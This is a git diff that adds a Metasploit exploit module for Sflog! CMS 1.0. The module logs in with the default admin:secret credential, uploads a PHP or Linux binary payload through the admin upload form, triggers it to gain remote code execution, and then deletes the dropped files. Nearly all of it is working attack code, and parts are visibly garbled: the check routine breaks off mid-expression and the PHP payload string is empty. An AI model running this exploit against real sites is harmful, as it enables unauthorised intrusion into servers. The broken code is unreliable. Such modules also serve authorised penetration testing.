diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb new file mode 100644 index 000000000000..a2ac7c9be069 --- /dev/null +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -0,0 +1,215 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info={}) + super(update_info(info, + 'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability", + 'Description' => %q{ + This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has + a default admin credential of "admin:secret", which can be abused to access + administrative features such as blogs management. Through the management + interface, we can upload a backdoor that's accessible by any remote user, and then + gain arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'dun', #Discovery, PoC + 'sinn3r' #Metasploit + ], + 'References' => + [ + ['OSVDB', '83767'], + ['EDB', '19626'] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DefaultOptions' => + { + 'ExitFunction' => "none" + }, + 'Platform' => ['linux', 'php'], + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 06 2012", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']), + OptString.new('USERNAME', [true, 'The username to login with', 'admin']), + OptString.new('PASSWORD', [true, 'The password to login with', 'secret']) + ], self.class) + end + + + def check + target_uri.path << '/' if target_uri.path[-1,1] != '/' + base = File.dirname("#{target_uri.path}.") + + res = send_request_raw({'uri'=>"#{base}/index.php"}) + + if not res + return Exploit::CheckCode::Unknown + elsif res and res.body =~ /\ + | + php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') + return php + end + + + def on_new_session(cli) + if cli.type == "meterpreter" + cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") + end + + @clean_files.each do |f| + print_status("#{@peer} - Removing: #{f}") + begin + if cli.type == 'meterpreter' + cli.fs.file.rm(f) + else + cli.shell_command_token("rm #{f}") + end + rescue ::Exception => e + print_error("#{@peer} - Unable to remove #{f}: #{e.message}") + end + end + end + + + # + # login unfortunately is needed, because we need to make sure blogID is set, and the upload + # script (uploadContent.inc.php) doesn't actually do that, even though we can access it + # directly. + # + def do_login(base) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}/admin/login.php", + 'vars_post' => { + 'userID' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + } + }) + + if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\Access denied\!\<\/i\>/ + return res.headers['Set-Cookie'] + else + return '' + end + end + + + # + # Upload our payload, and then execute it. + # + def upload_exec(cookie, base, php_fname, p) + data = Rex::MIME::Message.new + data.add_part('download', nil, nil, "form-data; name=\"blogID\"") + data.add_part('7', nil, nil, "form-data; name=\"contentType\"") + data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"") + data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"") + + # The app doesn't really like the extra "\r\n", so we need to remove the newline. + post_data = data.to_s + post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => "#{base}/admin/manage.php", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'cookie' => cookie, + 'headers' => { + 'Referer' => "http://#{rhost}#{base}/admin/manage.php", + 'Origin' => "http://#{rhost}" + } + }) + + if not res + print_error("#{@peer} - No response from host") + return + end + + target_path = "#{base}/blogs/download/uploads/#{php_fname}" + print_status("#{@peer} - Requesting '#{target_path}'...") + res = send_request_raw({'uri'=>target_path}) + if res and res.code == 404 + print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}") + return + end + + handler + end + + + def exploit + @peer = "#{rhost}:#{rport}" + + target_uri.path << '/' if target_uri.path[-1,1] != '/' + base = File.dirname("#{target_uri.path}.") + + print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'") + cookie = do_login(base) + + if cookie.empty? + print_error("#{@peer} - Unable to login") + return + end + + php_fname = "#{Rex::Text.rand_text_alpha(5)}.php" + @clean_files = [php_fname] + + case target['Platform'] + when 'php' + p = "" + when 'linux' + bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" + @clean_files << bin_name + bin = generate_payload_exe + p = get_write_exec_payload("/tmp/#{bin_name}", bin) + end + + upload_exec(cookie, base, php_fname, p) + end +end